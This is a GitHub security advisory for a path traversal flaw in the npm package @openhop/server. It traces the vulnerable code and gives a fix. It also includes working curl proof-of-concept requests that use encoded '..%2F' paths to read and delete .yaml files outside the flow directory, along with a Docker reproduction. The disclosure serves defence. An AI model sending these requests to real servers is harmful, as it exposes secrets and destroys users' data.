GitHub Advisoryadvisory · npm

GHSA-g72f-jw3w-mgh7 @openhop/server: Path Traversal in Flow ID File Operations

HIGH Published 2026-09-09 Modified 2026-09-09 Official page ↗
Aliases
CVE-2026-59179
Ecosystem
npm
Packages
@openhop/server
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
Weaknesses
CWE-22
Reviewed
2026-09-09

Affected packages

• npm @openhop/server: < 0.3.6 → fixed in 0.3.6

Description

Path Traversal in Flow ID File Operations Summary `@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High). Details `FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`: ```ts // packages/server/src/store.ts:52-53 private filePath(id: string): string { return join(this.dir, `${id}.yaml`) } ``` This result is consumed by two sinks: • Read (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')` • Delete (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))` The `id` value originates from unauthenticated Fastify HTTP route parameters: • `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335 • `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541 The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory. Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally. Full data-flow (read path): 1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`) 2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`) 3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`) 4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`) 5. Server responds HTTP 200 with YAML-parsed JSON body Full data-flow (delete path): 1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`) 2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`) 3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`) 4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`) 5. Server responds HTTP 204 PoC Environment setup (Docker): ```bash Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . Run with HOST=0.0.0.0 (default in the Dockerfile ENV) docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 ``` The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets. Attack 1 — Read file outside flow store: ```bash curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' ``` Expected response: ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"} ``` Attack 2 — Delete file outside flow store: ```bash curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' ``` Expected response: ```http HTTP/1.1 204 No Content ``` Verify deletion: ```bash docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' Output: deleted ``` Automated PoC script: ```bash python3 poc.py 127.0.0.1 8799 ``` Recommended fix: ```diff --- a/packages/server/src/store.ts +++ b/packages/server/src/store.ts +const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/ + private filePath(id: string): string { + if (!FLOW_ID_PATTERN.test(id)) { + throw new Error('Invalid flow id') + } return join(this.dir, `${id}.yaml`) } ``` Impact This is a Path Traversal (CWE-22) vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H). Affected parties: • Users running `openhop serve` locally — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`. • Docker/server deployments — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication. An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files. Reproduction artifacts `Dockerfile` ```dockerfile Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Build context: the repository root (naorsabag/openhop) Usage: docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 Data layout inside the container: /data/flows/ configured as OPENHOP_DATA_DIR (the "safe" directory) /data/victim.yaml -> outside the store; represents a sensitive file that MUST NOT be reachable via the API without sanitization RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file live…

Related

Alias · CVE (1)

  • CVE-2026-59179 OpenHop is a tool for creating interactive data-flow diagrams. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References